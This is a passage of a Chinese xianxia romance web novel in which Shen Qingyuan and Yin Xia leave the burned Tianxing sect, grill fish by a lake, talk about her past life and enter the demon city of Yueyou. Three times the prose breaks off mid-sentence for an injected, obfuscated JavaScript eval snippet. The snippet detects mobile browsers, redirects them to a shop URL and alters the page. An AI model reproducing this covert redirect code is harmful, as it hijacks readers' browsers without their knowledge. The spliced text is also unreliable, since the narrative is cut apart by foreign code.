至此,天星派才算是真正地灭门了。 “我们可以去山脚了。”沈卿缘说。 虽然山上已经烧红了半边天空,山脚下守岗的弟子们仍旧反应迟滞,不清楚究竟发生了什么。 沈卿缘携殷夏一同下山,路过护山大镇的时候,顺手挥出风绳,将手中的两块外门弟子的令牌给挂了回去。 令牌已经物归原主。 过去的一夜短暂而又漫长。一切前尘往事也该归于尘土,不必在意了。 后山屋舍中中的守卫被殷夏打晕,沈卿缘一掌拍碎了大门,那些作为炉鼎的女子们都被放出,也算是兑现了与殷素灵的承诺。 之后她陪着殷夏在山脚下坐了一会。 看着那座被世人景仰的天星门被烈火焚烧殆尽,只剩下一堆残渣。 直到那片残留着黑色烟雾的天边渐渐露出一片漂亮的鱼肚白。 “好些了吗?”沈卿缘拍了拍殷夏的肩膀。 殷夏仍坐在地上,望着天边的一抹白色,不知心里在想些什么。 半晌后,他有些困惑地摸摸心口:“母亲手刃了仇人的时候,她说自己畅快无比。可我看着门派在我眼前一点点地覆灭,却觉得心里闷得慌,没有感受到任何大仇得报的欣喜。” 沈卿缘低头看着他:“你想要保护的那些女子在数年前已离开人世,你想见到的母亲却早已献祭了自己的寿命只为复仇,这些只会让人觉得无力,谈何欣喜。” “但至少如她所说,你还有我。” 殷夏将她拉到自己身前,抱住她的纤细的腰身,深深地呼吸了几下,终于感觉到情绪上久违的平静。 “嗯,我现在觉得好多了。” * 之后想必会有大批前往天星派山脚下村落巡查的队伍,但那些都已经与他们无关了。 再次启程后,两人直接将此行的目的地定在了月幽城,一路往北,只走野外,中途不打算经过任何城镇与村庄。 云雾茫茫之间,一柄翠绿的竹子如离弦之箭,以极快的速度划过天际。 日出月落,再到繁星点点。 青竹上飞行的时间过得很快,转眼又是两天过去。 再往前则是一片狭长的海峡,度过海峡后便能抵达此行终点。 ——月幽城。海峡彼岸的边缘之地,魔修所在的繁华之处。 不知那处又是怎样的风景。 途中两人偶然路过一片分外漂亮的湖泊,澄澈得如同一块透明的水晶,倒映着天边的月影和繁星。 引得沈卿缘扭头多看了好几眼。 于是翠竹便载着两人在湖边停下了。 “已经不眠不休飞了这么长时间,我们休息片刻再出发如何?” 沈卿缘点点头,心想殷夏越来越会察言观色了。 今日的明月分外明亮,时不时有清风拂过,正应了清风明月四字。 沈卿缘盯着湖面,视线游移,双眼逐渐呆滞无神。 她哀叹道:“虽然说作为一个修士,我早就辟谷了,但是看着湖里有这么多新鲜的鱼,突然好想吃烤鱼啊。” 殷夏随口答道:“那就烤几条。” 沈卿缘叹了更久的气,边叹气边念叨:“就是因为不会,我才没烤。” 前世今生,两世下来沈卿缘都是十指不沾阳春水的人。 前世想吃什么都方便得很,点些外卖,或者去餐馆里点几个菜糊弄过去;如今当了城主之后,城里的饭馆更是数不胜数,而且还会定期研发新菜,她想去哪家饭馆就是过一个传送阵的事情。 但是先前吃牛肉面时打包放在储物空间的早点全都吃完了。 现在荒郊野岭的,她又是个做饭苦手,殷夏一副漂亮美人的模样,做饭这种事情还是不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938691|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指望他。 没想到只能徒劳看着眼前活蹦乱跳的河鲜,想吃条烤鱼解点馋都是奢望。 沈卿缘直接陷入了断炊的无望境地。 不料殷夏仔仔细细地将宽大的袖子折了几折,又寻了一根大小合适的树枝,然后对她说:“我去河边捉鱼,你寻一块空地,将火生起来等我。 沈卿缘难以置信地看着他白皙流畅的手腕,又将视线移到他握着的树枝上:“不止要捉鱼还要烤熟的。要不然还是将湖里的水抽干吧?” 殷夏将手中树枝尖端用灵力削尖了些,微微笑道:“倒也不用如此兴师动众,一根树枝足够了。” 他带着削好的几根树枝往湖边走去,沈卿缘就像一条小尾巴跟着他,完全没按照他先前交代的去生火等着。 “我还没见过你捉鱼。”她抬眼,眼神有些可怜巴巴的。 在这样的眼神下,殷夏的心不由自主地软了下来。 她要一起去就去吧,还能怎么办呢。 沈卿缘如愿以偿地跟着他一路走到岸边临水之处。 殷夏集中注意力,沈卿缘则将自己当成一块岸边的石头,完全不会打扰到全神贯注的殷夏,以及水中游动摇摆的鱼。 欢快摆尾的鱼儿完全没有感觉到危险的来临。 但殷夏已经握住手中的树枝,向水中挥下了死亡的镰刀。 他的动作迅疾如电。 眨眼间,削尖的树枝上已经串上了一条鱼,鱼儿甩着尾巴撒出一片晶莹的水花,挣动了两下后再无动静。 殷夏将鱼拔下扔进身后的草丛,继续盯着清澈见底的湖面。 然后是第二只、第三只……一直到第四只。 “一人两只,够了吗?” 沈卿缘正在后面用指尖戳着鱼头,闻言连忙道:“够了够了。” 她凌空打了个响指,手中已出现一蓬颜色嫣红的火焰。 殷夏清理出一块空地后,又从周围寻了些断木枯枝,搭出一个篝火的形状,这时才让沈卿缘将火点上。 火焰一触碰到干枝立刻燃烧起来。 趁着烧火烧起的间隙,殷夏从储物金镯中掏出了一串长签,然后又是各种香料、辣椒、油、生姜以及料酒等等烹饪物品,摆了满满一地。 这架势让沈卿缘眼睛都看直了。 “你真的会做烤鱼啊?” 殷夏脸上笑意温柔:“当然。” “可你这么漂亮,我怎么舍得让你给我做烤鱼?这算是暴殄天物了吧?” 殷夏笑而不语,手中动作不停。 他先将鱼处理完毕,之后在表面切出花刀,再用各种香料腌制入味后,于火上烤至表面变色,随后翻面,来回几次。 看着他手中的鱼渐渐变得更金黄酥香,沈卿缘觉得自己肚子有些空,不是嘴馋,是真的饿了。 烤好之后殷夏先分了她一串:“尝尝看味道。” 入口即化,鲜嫩入味,香辣诱人。 沈卿缘想把自己先前说的话打包收回。 烤鱼被咬下的瞬间,鱼皮会发出清脆的声音,随后是香料的浓香,最后是让人回味无穷的辛辣。沈卿缘剔除口中几根明显的鱼刺,又咔擦咬了一口。 她眼睛红红,热泪盈眶。 辣的真过瘾啊! 殷夏也在吃一串烤鱼,不过吃相比她斯文多了。 他反问她:“现在还觉得暴殄天物吗?” 沈卿缘嘴巴鼓鼓,说不出话,只能疯狂摇头。 什么暴殄天物? 让会做饭的人多做点饭,才是世间真理! 35. 第 35 章 沈卿缘放下手中的烤鱼长签,拿起另一串烤鱼的时候仍有些意犹未尽。 这么好的烤鱼,应该再搭配着喝点酒才对。 她想起来储物空间里应该存了好几坛酒来着,于是神识探入其中,找着了被放在空间最下方不起眼位置的几只酒坛。 眨眼间,一只尚未开封的酒坛已经出现在她的手上。 她朝殷夏晃了晃手中的酒:“要一起喝吗?” 殷夏摇了摇头,他的速度很快,连第二串烤鱼都已经快要吃完了。 沈卿缘遗憾地看了他一眼,随后揭开坛子上最外层的布,仰头喝了一大口酒。 酒液入喉,微凉之余带着来一阵热意。 她一边喝酒吃鱼,同时没忘记翻一翻最新过来的一批文书。据沈卿缘自己所说,这些是用仙市速度最快的仙鹤连夜赶路送来的,刚到,还热乎着。 这已经是殷夏第三次看到她抽空批文书了,一城之主还是不好当的。 不过他仍有些疑惑:“之前那些批完的文书呢?” 沈卿缘指了指着身边竖立的一只水镜。 此时水镜已经暗淡了下去,并不显眼,因此殷夏先前并未注意到有这么一个圆形的东西被她放在身边。 “批完的都已经给茉茉看过一遍了,她知道接下来该怎么做。” 她抬头问殷夏:“晚上还赶路吗?”她停了片刻,又道:“虽然因果线连着月幽城,但具体在城内的哪处我也不清楚,因此入城之后,仍需时间探寻线索。” 月幽城距离他们只有一条海峡了,根据殷夏出发之前在藏书阁看到个各类记载,那里的风土人情与山川地貌都与外界大不相同。 等穿过海峡之后,可能要很久才能再次见到眼前的风景。 殷夏挑眉道:“那我们在此过夜吧。” 然后他从手镯里掏出了一套房子……准确地说,是仙市发给每位客卿的制式竹楼。 沈卿缘略为震惊地仰头看到了小楼上的编号,于是在心里飞快核对了一遍,确定殷夏是把一整个客卿竹楼炼化完后随身带走了。 殷夏将小楼搁置在临水的树下。四五道阵法符咒从他的袖中飞出,将竹楼稳稳地保护起来。 转眼间他已经爬到了竹楼台阶的中间,正回头招呼停在原地的她。 这是沈卿缘第二次来殷夏的竹楼里。 反正已经吃饱喝足,又已是道侣。两人入楼之后没有同上次一样在一楼坐着,直接往二楼去了。 在同一间卧室中,殷夏离沈卿缘远一些的地方锤炼灵气,沈卿缘则坐在书桌前的椅子上,铺了拿出一本很大的册子,翻到其中一页空白的地方,摸出一支炭笔。 又快到上新品的时候,但是最近仙市新品不足。 除了要给客卿发布新品研发的限时紧急任务之外,她自己也得采采风找些灵感,做点有意思的东西继续吸引客源。 她脑中思绪纷繁,最后决定以竹子作为灵感,做一套周年纪念款水杯。 其上再雕刻四季竹叶,但凡在仙市中连锁店铺中灵石消费到一定的限额就能免费领取一只。 以此类推,灵石消费足够多的话,还能集齐春夏秋冬四季主题一套,对于一些有收集癖好的顾客来说,又可以摩拳擦掌买买买了。 接下来,沈卿缘握着一只炭笔开始在本子上描描画画,构思接下来预备发布的纪念款水杯具体造型以及雕刻图样。 而靠窗的另一边,殷夏已经释放出来一部分暴乱的灵气,在周遭形成了一个巨大的白色灵气旋涡。 连屋内的书册和纸笔都被他周身的灵气漩涡卷入其中。 沈卿缘抬手制住灵气漩涡并将其固定,防止其进一步扩大破坏竹屋,随后将落入其中的书册和纸张小心取出,用灵气强行压在桌面,不至于被再次卷走。 她知道灵气锤炼不但需要日复一日地下功夫,心境上的突破也是必不可少的,否则过量的灵气难以抑制,在极端的情况下对会肉.体造成不可估量的伤害。 但目前来说,两人时刻在一起,自己必然会时刻关注着他的灵气状况;加上殷夏已经将锤炼灵气加入日常修行之中,直至他控制住所有的灵气并为其所用,只是时间的问题。 将不远处的灵力旋涡稳定好后,沈卿缘又趴在桌子上继续构思。 笔下的竹杯已经勾勒成形,小巧可爱。 不过图样还没有想好,她苦苦思索了半天,最后毫无思路地咬唇,满眼茫然看着屋顶。 殷夏将今日份的灵气锤炼完毕,坐在蒲团上静思冥想了片刻,睁眼后却发现沈卿缘眼中一片空茫,不知道已经神游到那里去了。 他随意打出一道灵气,沈卿缘本能地瞬移躲过。 她终于转头看了殷夏一眼。 殷夏从蒲团上站起来,拍了拍身上的灰尘:“怎么一副这么纠结的样子?” 沈卿缘哀叹:“你不知道,其实每次想图样都要想好久。” 殷夏走过去看了一眼。 纸上画的是几只精巧可爱的竹杯。 因为殷夏的本命灵植就是青竹,所以并不觉得困难,他奇怪道:“你怎么不照着画?” 沈卿缘皱眉道:“也不能完全照着竹杯常见的样子来,做出来会很无趣。” 她在纸上描了几笔,然后又开始挠头,“我是想要再加些元素的。就好比你上次定制的芙蓉花木盒上花朵的元素。我想让图样丰富起来,所以不能只有竹叶,会很单调。” “这样啊,那确实得再加些点缀。” 沈卿缘皱着脸,表情更加苦大仇深了:“我正在想着。” 殷夏试着问她另外的问题:“其实我在想另一件事。” 沈卿缘思路立刻跟过来,画图画到呆滞的眼睛也逐渐灵动起来:“说说看?” “这次去天星派一趟,我的过往经历你全都知道了,但是关于你的事情我却一概不知。” 沈卿缘若有所思道:“你想知道?” 殷夏点点头:“在我遇到你之前,仙市之主沈卿缘对我而言,是一直都活在八卦小报和各种传说里的人物。” 听到这里,沈卿缘露出一个意味深长的笑容。 他继续道:“直到后来我不小心误入城主府之后,与你偶然有了交集,才切实地对你有了些了解。” 沈卿缘故意逗他:“还不够吗?” 殷夏理所当然地摇头:“远远不够。” “其实你自己发现会更有趣。” “你也要考虑到一点,如果一直漫无目的地寻找,我也可能被各种八卦小报刊登的消息带偏方向的。” 沈卿缘哎呀一声,八卦小报消息灵通且娱乐性十足,为各大仙门贡献每日的茶余消遣,销量向来十分可观,而且赚了大笔大笔的灵石。 不过真实性嘛,确实有待商榷。 她想起来另外一件重要的事情——他们的道侣大典还没有办。 不出意外,也会由仙市中的八卦小报最先公布相关的消息。 沈卿缘有些不好意思地笑笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954819|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为了八卦小报的销量,有时候就得贡献一些虚虚实实的消息,没办法啦。” 殷夏当然知道有部分是真的,许久前月下飞天的阴影还一直留在他的心头上。 看着殷夏执着的样子,沈卿缘爽快道:“那今天就只限定你问一个方面,你最想知道关于我的什么,就可以问什么。我会如实回答的。” 殷夏有些为难,还想讨价还价一番:“两个行不行?” 沈卿缘伸出一根手指,远远地朝他晃了晃:“不行的哦。” “好吧。” 整个屋子里非常简洁,也只有基本的蒲团、桌子、衣柜以及一张不大的竹床。 殷夏也没地方可坐,只能随便往床上一躺。 他侧身看向桌边的沈卿缘,脑中突发奇想地问了一句:“椅子坐得累不累,要来躺着吗?” 其实不累,沈卿缘想。 她往常画个图样能画一整夜不带休息的。 但是可爱的小伴侣正在盛情邀请自己,加上他脸皮一向很薄,若是被拒绝的话肯定会偷偷难过的吧。 其实殷夏就是随口一说。 沈卿缘画的那么认真,不一定会因为自己一句话就中断思路。 没想到她还真的听进去了,并立刻放下了炭笔,随后屈指给整间屋子包括他们两人全都施了个除尘咒诀。 她一身白衣,走来的几步间轻纱飘扬。临近床铺时,还顺手将上面的帷幔给拉了下来。 直至坐在床边的时候,殷夏才意识到她把他的话当真了。 几盏灯火的光芒都被挡在了帷幔之外,殷夏的眼前瞬间暗了不少。 她占据了床外的位置,殷夏下意识地往床铺内里让了让位置,但这张床紧贴着墙壁摆放,他让出一半之后,才发现自己已经退无可退。 沈卿缘意外发现,虽是竹床,但床褥上有淡淡地香气,躺上去的时候非常柔软。 而且身边还躺着自己眉目如画的道侣,正用清亮又柔软的眼神看着自己。 又是那样温柔又深情的眼神,拉着她远离方才的思绪,脑中再也不想图样之类的琐事了。 她一手勾着他柔韧的腰身,面朝着殷夏心情不错地开口道:“只限一个问题,你可以问我了。” 沈卿缘是正正经经一路从练气修炼到渡劫的。 除了渡劫的时候因为异火的原因规避了一场本该声势浩大的雷劫,但殷夏觉得,就算没有这场际遇,她也能稳稳地扛过天雷,跨入渡劫期。 因此她的年岁,实际上要比殷夏长上不少。 若是要问自己最关心的问题,他自然是不能免俗的,兜兜转转还是最想知道她曾经喜欢过谁,又到底有几分喜欢自己。 沈卿缘的手不太安分,趁着殷夏凝神思考的时候,偷偷掐了一把。 殷夏将她的手握在自己的手心里,制止她毫无分寸的乱动。 他试探地看向她的眼眸里,轻声道:“我想知道,这些年来你都喜欢过谁?” 沈卿缘咂摸了下,心道这是个好问题啊,把他自己也一并问进去了呢。 看起来小道侣有些认真了,不然不会在只能问一个问题的前提下,惟独先问她的感情史。 这个问题并不难回答。 但沈卿缘想了片刻,有些为难道:“我回答这个问题是要有个前提的。” 殷夏不明所以地看着她。 沈卿缘深吸一口气,缓缓道:“首先,你要理解这样一件事,就是说……其实我是一个活了两世的人。” 36. 第 36 章 殷夏脑中的弦咔哒一声,断掉了。 他不太明白沈卿缘的意思。 但沈卿缘的思路反而清晰起来。 在这个前提下,很多就能讲得通了。 前一世单纯将她当作提款机的那些人,这一世已经过了上百年,他们的名字早已模糊不清。 隔了这么久的岁月长河,唯一记得清晰的,是在乙游中为了获得更多的卡面而为之充钱的那个男人。 只是因为曾经在最低谷的时候被他的某句话打动,竟无意中成为将她拉了一把的绳索。 此后才是她频繁充钱的开端,只想要与游戏中的他更靠近一步,更多了解一点。 “前世我最喜欢的人……”沈卿缘摇了摇头,“实际上并不能称他是具体的人,我觉得更像是一段精神上的陪伴。我出钱,换他提供给我毫无保留的爱。” 沈卿缘这样总结道。 殷夏非常认真地看着她,就好像要把她说的每一句话都记在心里。 他尽量把上一世理解成一个修炼的阶段,但仍有不太理解之处。 “为什么你们没有在一起?难道是因为人与妖不能通婚,还是说他已经修炼成仙踏碎虚空了?” 沈卿缘笑了好久,把气顺匀后才道:“别将我们身处的修仙界代入。你就将他看作另一个空间的一段灵识吧,一直被封存在一个盒子里。 “当我想跟他对话的时候,打开那个盒子,然后投进去一定数量的灵石,他就会跟我沟通交流。” 殷夏忍不住瞄了一眼腕上的手镯。 沈卿缘对前世所爱之人的的描述,与被他放在镯子里的小葵花好像。 不过至少小葵花还有躯体,可以四处走动,而沈卿缘喜欢的那个人简直毫无自由可言。 “他也喜欢你吗?” 沈卿缘有点为难:“怎么说呢,他喜欢我,但也喜欢千千万万个会往盒子里投放灵石的人,不论男女。” “不过他对于我的意义不同,在我心里是唯一的。” 殷夏的眼中已经有了显而易见的怜惜。 按照他的理解,就是说沈卿缘上一世喜欢的男人在喜欢沈卿缘的同时,也喜欢很多人,不过沈卿缘不但送他灵石,还不在乎他的朝三暮四。 在修仙界来说,道侣就是唯一的,永远不变的。 虽然有一部分的修士因为修炼功法或者是心魔的原因,口口声声要断情绝爱,并且先拿道侣开刀,但不能祸福同担的道侣都会被反噬进而影响修为。 而沈卿缘所说的前一段感情,已经超出了本界的世俗所限。 这下他可以基本确定,沈卿缘上一世的喜欢是单方的,无疾而终的。 他忍不住别过头去偷偷地乐了一下。 很快又被沈卿缘拉回去。 殷夏小声道:“接下来该说到这一世了……” 他发现自己更紧张了些。 沈卿缘看了一眼殷夏,还未开口,已经微微笑了起来:“有一次,一个陌生的男修误闯到我家里……” 这个熟悉的开头让殷夏睁大了眼睛。 她继续道;“当时他灰头土脸的,明明才死里逃生,却谈笑自若。我一眼就喜欢上他的那张脸,没有计较他擅闯的事情。本以为会到此为止,但后来发现,真正的喜欢会模糊原本的界限,让人沉迷。” 殷夏将自己裹在厚厚的被子里,心里的雀跃像一只即将破茧而出的蝴蝶。 被帷幔遮挡了大半的光线下,仍能看出他的脸慢慢地变红了。 沈卿缘却仍没有放过他:“你知道我说的是谁。” 他慢慢道:“是我。” 沈卿缘摸了摸他微翘的睫毛,他眨动着眼睫就像在挠着她的手心。 她向身后打出一道灵气,帷幔之外的蜡烛便全都熄灭了。 安静的夜晚,只听见她清浅的呼吸声。 殷夏半天没有动弹,许久之后,才轻轻掀开被子的一角……然后就被守株待兔的沈卿缘给捉住了。 她浅浅的呼吸有很淡的香气,喷洒在殷夏的耳廓边上,他忍不住向墙的方向挪了些。 沈卿缘:“你动来动去做什么,不睡觉吗?” 殷夏哑口无言。 由于两人的道侣关系缔结得太过仓促,其实他到现在都没能习惯。 尤其是晚上两人睡在同一张床上。 他怎么都睡不着,还不如起来打坐。 于是殷夏胡乱扯了个理由:“其实我是想……嗯,继续锤炼灵气,你不用理我的。” 沈卿缘的眼眸尽是笑意,对他的鬼话一个字都不信。 她有些了然,握着他手腕的力气丝毫未减,问道:“你好像有些害怕我。” 沈卿缘能感受到他眼中的迷恋与恐慌交替出现,而且时隐时现,若有若无,却不知他到底在担心着什么。 殷夏遮掩一般地垂下眼眸:“上次的事情,我有些抱歉。” 彼此颇有默契,长久没有触碰的话题,今晚终于被提及了。 “你不愿意?” “不是。” 沈卿缘觉得是一个让他更加坦诚一点的好时机。 不过想用抱歉两个字敷衍过去也太过分了,得给他一些惩罚。 于是她说:“那好办,我们再来一次,没准你就能知道了。” 最初殷夏的眼神是有些茫然的。 但听到沈卿缘的话后,又从茫然变成了不可置信。最终反应过来后,脸颊彻底烧红了,连舌头都开始打结。 “我……” 但沈卿缘没让他把话说完就捂住了他的嘴巴。 原本裹在身上的被子被掀开至空中,又蓦然落下。 他觉得身上一凉,又立刻暖了起来,黑夜中温度的骤然变化让人心跳加速。 沈卿缘微凉的手抚上他滚烫的脸庞。 她低语道:“别着急,今晚有很长的时间,你可以慢慢地想。想清楚后告诉我也不迟。” 随后她俯身下来,低沉悦耳的声音便渐渐隐没在彼此相贴的唇齿之间。 * 第二天醒来后,身边的人依旧不在。 唯一的区别在于,上一次两人是打的地铺,这次终于能安稳地睡在柔软的床上了。 正当殷夏有些失落地整理凌乱的衣衫,沈卿缘迈着轻快的脚步从门外进来了。 一看见他,就露出一个非常明显的笑容。 被她的笑容感染,殷夏的心情忍不住雀跃起来。 他注意到沈卿缘换了一条新的裙子。 与以往纯白的颜色不同,这次她穿的裙子是如同夜幕般的黑色,腰间有大片的镂空并挂上了长短不一的金属链条。 细密的链子,长长短短的流苏。即使是在光线并不充足的清晨,也有着难以忽视的光芒,宽大的裙摆上用金线绣着大片的图案。 而她足下也不是往日所穿的靴子,而是踏着一双半透明镂空雕花鞋子。 用同样的金色链条交叉绑起,像藤蔓又像海草,一直缠绕到脚踝至小腿。随着裙摆而晃动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971354|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这份惊心动魄的美丽瞬间抓住了殷夏的心神。 他甚至难以抑制地升出一种隐秘的渴望。 如果沈卿缘只是他一个人的就好了,那他只会将她好好地藏起来,再也不让别人看见。 随后殷夏就被自己这份隐秘的心思给吓到了。 以至于沈卿缘都已经坐到了床边,他仍有些心不在焉。 “睡好了吗?”沈卿缘摸了摸他因尚未束起而微乱的发丝。 殷夏下意识地点点头。 沈卿缘手上托着一叠玄色外套:“这些是给你准备的,等换好之后我们就走。” 殷夏将手中接住的衣服展开,只展开一半便发现了不对劲的地方。 他皱眉,迟疑道:“我必须要穿吗?这款式有些……夸张。” 其实连夸张都是比较委婉的说辞了。 这衣服最前是打开的,也就是说,穿上之后必定会露出小半的胸膛,而他从出生至今都没穿过这么暴露的衣服。 于是殷夏抱紧了面前的衣服,执拗地摇头。 沈卿缘想起来自己的小伴侣脸皮过于薄的脸皮,解释道:“接下来我们就要去往月幽城,你之前也查过相关的书册,应当知晓些那边的风土人情。” 殷夏当然查过。 那边魔修聚集,素来观念开放,崇尚释放天性,加上气温很高,因此他们在衣饰上也比较随性,更喜欢大面积地露出身体,认为这是健康美丽的标志。 沈卿缘接着说道:“你手上的这套,已经是我挑选的比较保守的一件了,不然我这里还有七八件,你自己选?” 说完她就展开了所有备选的衣服,它们浮在空中,并且以很慢的速度从殷夏眼前飘过。 务必让殷夏看清衣服的每一个细节。 于是殷夏认真看了,只是看完之后更加怀疑起人生。 这都是些什么奇奇怪怪的衣服啊? 其中有一套甚至连件上衣都没有,只有一个裤子。 比较过所有衣服之后,殷夏终于妥协。 沈卿缘说的是真的,他手上的这件真的是最保守的一件了。 但是当他别别扭扭地换上新衣,又将头发一丝不苟地簪起,突然觉得浑身上下都不自在极了,尤其是胸前冷飕飕的,好像没穿衣服似的。 沈卿缘趁他心神不宁的空隙瞧了一眼。 发现殷夏那头梳得过于整齐的头发与衣服太不搭了。 于是她将殷夏额前的发丝扯出了几根,随意散落在下来,想了想,又将他的发簪摘了,将发尾卷成波浪的形状。 好像还是不太对。 她仰头叹了口气,把自己的首饰盒子翻了个底朝天,终于翻出一套造型华丽,闪烁着金属光泽的成套首饰。 沈卿缘按住他的肩膀,随后俯身过去,先将项链给他戴上,再将双层的银链扣上他的手腕,最后往他纤长的指尖套了几只颜色冰冷的指环。 穿戴妥当后,她退后了些仔细打量。 不得不承认,殷夏并不适合太过暴露的衣饰。 还好在戴上首饰后,先前因衣领交叠显露的部分胸膛不再显得那么空旷了,只有在动作间才若隐若现,显得含蓄很多。 不过她的视线其实更容易集中在他的脸部。 精致诱人的容貌下,指间的戒指泛着冷光,银链的细闪与颈间的项链交相辉映。 远远看着,他就像一支看着柔软香甜,实则扎人见血的金属玫瑰。 矛盾又冷冽。 正中她癖好上的红心。 37. 第 37 章 他与沈卿缘一路穿过长长的海峡,到达彼岸的月幽城。 一入城内,殷夏的穿着显得无比自然常见,并立刻融入了人流之中,他发现街上的每个人的穿着都比他暴露得多。 周围来来往往的人群都身着短打且清凉的衣物,且饰品繁多,对奇异的打扮有着极高的包容度。 有些人将饰品挂得满身都是,从头到脚都是一片亮闪闪的,仿佛一个移动的首饰展览柜,还有的在头上插着各色羽毛,眼上涂着七彩眼影,双手缠着大幅的彩色珠串,主打一个返璞归真。 这样看来,他随身戴几只冷光熠熠的金属感首饰,好像也不怎么显眼。 直到这个时候,殷夏的心里才终于达成了一种诡异的平衡。 一路上有好多个造型清凉且大胆的姑娘盯着他胸口的项链看,他一律装作没有发现。 不过在擦肩而过的瞬间,伴着一阵很浓的香风,她们的打量变得更加无所顾忌,视线也从项链转移到了他所戴的手链和指环上。 之后眼瞳睁大了看他,满眼的不可置信。 殷夏当然看到了她们满眼的惊叹和羡慕,并觉得理所当然。 这是沈卿缘从首饰盒里翻出的东西,十有八九是自己炼的,不是下一季的概念新品就是再也没地方能买到的孤品。 加上她的审美又一向很好,直觉敏锐。 因此无论炼出些什么,在造型上都是无可指摘的。 她曾经说过,新品图样画出并炼制完成之后,投入仙市中店铺批量销售的那些产品,就已经不是她亲自经手的了。是她手下的炼器师们根据她画出的图样和制作流程,依葫芦画瓢照着做出来的。 因此她亲手炼制的物品分外珍贵。 他第一次认真地看了看自己胸前的项链,忍不住用手心托着把玩了一会儿。 使用的是颇为复杂的工艺,很费时间,但造型华丽却不花哨,冰冷的金属色与张扬的设计形成非常有张力的反差。 说实话,哪怕他平日里对这些配饰毫无兴趣,也能看出这款首饰制作的精细和细微处的用心,最重要的是,确实和自己这身衣服非常搭。 别说街上的女孩子,有这样的道侣,连他都有点羡慕自己的运气了。 * 接下来要在月幽城待上一段时间,寻找与异火起源的相关线索。 他们初来乍到,一路走来,也经过了不少的店铺。 幽月城中的魔修们用来交易的货币是一种半透明的紫色石头,其中蕴含着旺盛的魔力,在一些特殊的角度下还能看到其中的微闪。 这种半透明的紫色石头是此地的特产。 他们唤这种它叫做魔晶。 沈卿缘也曾想过找个店铺将灵石换成魔晶,但修仙界一向很少与魔界幽月城打交道,店铺的具体位置她也不知。 另外,魔族之人对修士并无太多好感。 虽然在进入月幽城之前,沈卿缘已经将两人从服饰到外形都乔装打扮了一遍。可若贸然若拿着灵石去兑换,很可能一开始就会被城中的某些大人物关注并锁定。 而他们原本就是打算暗中潜入,故此法并不可行。 思来想去,还是没有什么解决办法。 魔修的地域中也信奉弱肉强食的道理,沈卿缘对这套道理运用得再熟练不过了,她摸了摸腰侧的长刀,打算往此处最混乱的地方去一遭,顺便替天行道。 沈卿缘思考对策的时候,殷夏也在考虑着是不是再找个空旷无人的地方继续露宿一晚。 这时候,迎面忽然走来一支队伍,庞大的灵兽与成群的仆从几乎快要占满整个街道,远远看到这个阵仗后,路边做些零散生意的聪明摊贩已经动作麻利地收摊避开风头。 出行的队伍正中有一顶非常显眼的软轿。 说是轿子也不太合适,它更像是被抬起的宽大座椅,其上各色鲜花堆叠,铺满莹润的玉石,由上至下垂落的轻纱随风飘扬。 抬轿的仆从训练有素,将轿子抬的无比稳当。 内里坐的人隐在三层轻纱之下,面容模糊不清,但从大致轮廓来看是个身段优美的女子。她双腿交叠,翘起的脚尖勾着垂坠的纱幔,一副漫不经心的样子。 再加上这样的阵仗,一看就是大人物家中某个娇生惯养的子女。 因此当这支队伍与殷夏擦身而过的时候,殷夏护着沈卿缘往两边让了些。 两人初来乍到,还是暂避锋芒为好。 却不料纱幔内的人蓦然抬起手来,整支队伍动作在看到这个动作后,一致地在大街上停下了。 恰好就停在殷夏的面前。 殷夏与沈卿缘对视了一眼,跨出一步挡在前面。 刚行了一个此地的通用礼节,轿中层叠的纱幔却被一根手指随意拨开了。 纱幔之后是一个唇色嫣红,看起来尤为美艳的女子。年岁不大,眉目间有着富贵家族中特有的傲慢神色。 她微微张开的手臂如藕节般白皙饱满,上身穿着浅绿色的抹胸,毫不在意地露出大片腰身。 裙摆只有几片轻薄的布料,一双惹眼的玉色长腿慵懒交叠。 她微微晃动着脚尖,足踝上叠戴着很细的银镯随她的晃动而相撞,不时地发出几声清脆的叮铃声响。 殷夏立刻低头并往路边靠了一下,没再敢细看。 这个轿中的女子却在人群中格外注意到了殷夏,目光极快地扫了他一眼。 以殷夏的修为,自然感受到了这位魔修女子的窥视,只是不知道她如何会看到自己,又想做什么。 此时他的脸上仍有着沈卿缘亲手设下的封印,非渡劫期无法察觉任何异常。即使看见,也只会觉得这张脸毫无特点,见后即忘。 大概不存在所谓的见色起意。 而对于殷夏来说,这个女子的气息并无任何的压制感,修为应该不高。虽然对于魔修来说,可能有着另外的划分方式,但仅以修真界中的修为等级来算的话,大概是金丹期的等级。 她能横行霸道自然是因为家族的依仗,而非本人的修为实力。 因此他仍装作全然不知的样子,低头不语。 其实他猜的没错,这个女子确实是个魔修,还是在幽月城中非常有名的西宁侯大小姐。 